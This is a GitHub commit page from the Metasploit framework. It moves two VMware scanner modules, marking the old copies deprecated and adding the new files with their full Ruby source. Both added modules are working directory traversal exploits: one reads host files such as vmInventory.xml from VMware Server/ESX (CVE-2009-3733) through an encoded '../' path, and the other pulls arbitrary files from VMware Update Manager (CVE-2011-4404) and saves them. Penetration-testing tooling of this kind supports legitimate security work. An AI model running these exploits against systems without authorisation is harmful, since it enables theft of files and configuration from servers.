Skip to content

Commit 8dad739

Browse files
committed
Land rapid7#5508, Get Ready to Move VMware modules to the VMware directory
2 parents d622c78 + 49e4820 commit 8dad739

File tree

4 files changed

+162
-0
lines changed

4 files changed

+162
-0
lines changed

modules/auxiliary/scanner/http/vmware_server_dir_trav.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,9 @@ class Metasploit3 < Msf::Auxiliary
1212
# Scanner mixin should be near last
1313
include Msf::Auxiliary::Scanner
1414
include Msf::Auxiliary::Report
15+
include Msf::Module::Deprecated
16+
17+
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav')
1518

1619
def initialize
1720
super(

modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,9 @@ class Metasploit3 < Msf::Auxiliary
1010
include Msf::Exploit::Remote::HttpClient
1111
include Msf::Auxiliary::Report
1212
include Msf::Auxiliary::Scanner
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal')
1316

1417
def initialize(info={})
1518
super(update_info(info,
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
# Exploit mixins should be called first
11+
include Msf::Exploit::Remote::HttpClient
12+
# Scanner mixin should be near last
13+
include Msf::Auxiliary::Scanner
14+
include Msf::Auxiliary::Report
15+
16+
def initialize
17+
super(
18+
'Name' => 'VMware Server Directory Traversal Vulnerability',
19+
'Description' => 'This modules exploits the VMware Server Directory Traversal
20+
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
21+
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
22+
allows remote attackers to read arbitrary files. Common VMware server ports
23+
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
24+
the gueststealer tool.',
25+
'Author' => 'CG' ,
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
30+
[ 'OSVDB', '59440' ],
31+
[ 'BID', '36842' ],
32+
[ 'CVE', '2009-3733' ],
33+
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
34+
]
35+
)
36+
register_options(
37+
[
38+
Opt::RPORT(8222),
39+
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
40+
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
41+
], self.class)
42+
end
43+
44+
def run_host(target_host)
45+
46+
begin
47+
file = datastore['FILE']
48+
trav = datastore['TRAV']
49+
res = send_request_raw({
50+
'uri' => trav+file,
51+
'version' => '1.1',
52+
'method' => 'GET'
53+
}, 25)
54+
55+
if res.nil?
56+
print_error("Connection timed out")
57+
return
58+
end
59+
60+
if res.code == 200
61+
#print_status("Output Of Requested File:\n#{res.body}")
62+
print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
63+
report_vuln(
64+
{
65+
:host => target_host,
66+
:port => rport,
67+
:proto => 'tcp',
68+
:name => self.name,
69+
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
70+
:refs => self.references,
71+
:exploited_at => Time.now.utc
72+
}
73+
)
74+
else
75+
vprint_status("Received #{res.code} for #{trav}#{file}")
76+
end
77+
78+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
79+
print_error(e.message)
80+
rescue ::Timeout::Error, ::Errno::EPIPE
81+
end
82+
end
83+
84+
end
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "VMWare Update Manager 4 Directory Traversal",
17+
'Description' => %q{
18+
This modules exploits a directory traversal vulnerability in VMWare Update Manager
19+
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
20+
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Alexey Sintsov', #Initial discovery, poc
26+
'sinn3r' #Metasploit
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2011-4404'],
31+
['EDB', '18138'],
32+
['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
33+
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
34+
],
35+
'DisclosureDate' => "Nov 21 2011"))
36+
37+
register_options(
38+
[
39+
Opt::RPORT(9084),
40+
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
41+
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
42+
], self.class)
43+
end
44+
45+
def run_host(ip)
46+
fname = File.basename(datastore['FILE'])
47+
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
48+
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
49+
50+
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
51+
52+
res = send_request_raw({
53+
'method' => 'GET',
54+
'uri' => uri
55+
}, 25)
56+
57+
# If there's no response, don't bother
58+
if res.nil? or res.body.empty?
59+
print_error("No content retrieved from: #{ip}")
60+
return
61+
end
62+
63+
if res.code == 404
64+
print_error("#{rhost}:#{rport} - File not found")
65+
return
66+
else
67+
print_good("File retrieved from: #{ip}")
68+
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
69+
print_status("File stored in: #{p}")
70+
end
71+
end
72+
end

0 commit comments

Comments
 (0)